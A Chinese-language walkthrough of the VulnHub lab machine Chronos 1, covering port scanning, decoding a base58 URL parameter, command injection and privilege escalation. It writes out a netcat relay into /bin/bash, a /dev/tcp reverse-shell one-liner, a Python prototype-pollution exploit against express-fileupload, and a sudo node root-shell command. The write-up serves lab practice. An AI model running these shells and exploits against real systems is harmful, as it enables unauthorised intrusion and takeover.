靶机地址: https://www.vulnhub.com/entry/chronos-1,735/
难度等级: 中
打靶目标: 取得 2 个 flag + root 权限
参考链接:
https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/
https://blog.p6.is/Real-World-JS-1/
涉及攻击方法:
端口扫描
WEB侦查
命令注入
数据编解码
搜索大法
框架漏洞利用
代码审计
NC串联
本地提权
主机发现使用netdiscover
sudo netdiscover -r 10.0.2.0/24 (在使用中把24位子网掩码减8使用)
进行全端口扫描
nmap -p- 192.168.56.105
对端口服务进行探测
nmap -p22,80,8000 -sV 192.168.56.105
查看80端口
Ctrl+U 查看网站源码
<script>标签内代码
利用在线工具对位置代码进行整理
cyberchef-工具
地址:CyberChef
复制代码到input 搜索使用javaScriptbeautify功能
查到特殊URLhttp://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
编辑hosts文件
在/etc/hosts文件中添加IP对应域名关系
重新刷新页面多出一个时间
打开burpsuit对浏览器进行抓包,发现解析域名地址,获取时间
利用cyberchef解码
magic模块会自动识别编码方式
解密为 '+Today is %A, %B %d, %Y %H:%M:%S.'
利用特殊符号拼接linux命令
| (管道符)
|| (双管道符是当前面的命令执行错误以后来执行后面的命令)
; (分号执行完前面的命令,执行后面的命令)
&& (和双管道相反,前面的正确,才执行后免的命令)
用bash58加密 '+Today is %A, %B %d, %Y %H:%M:%S.' && ls
为9bEW4cq4qengPvFGtzJXEAs1sGpKzYpYvUjwvUngwAmfrVsMwAERK9ox
查找NC
ls /bin
利用nc监听连接
&&nc 192.168.56.106 4444 | /bin/bash | nc 192.168.56.106 3333
提权:
内核漏洞提权
SUID提权
sodu命令提权
使用node.js.express-fileupload进行提权
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.107/8888 0>&1"'
pollute
requests.post('http://127.0.0.1:8080', files = {'proto.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
execute command
requests.get('http://127.0.0.1:8080')
参考连接:Real-world JS - 1
生成EXP.py 目标主机下载
进入/tmp目录下载EXP.py
python3 exp.py
获取imera权限
查看sudo提权
sudo -ls
使用node提权
sudo node -e 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})'
彩蛋 :YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK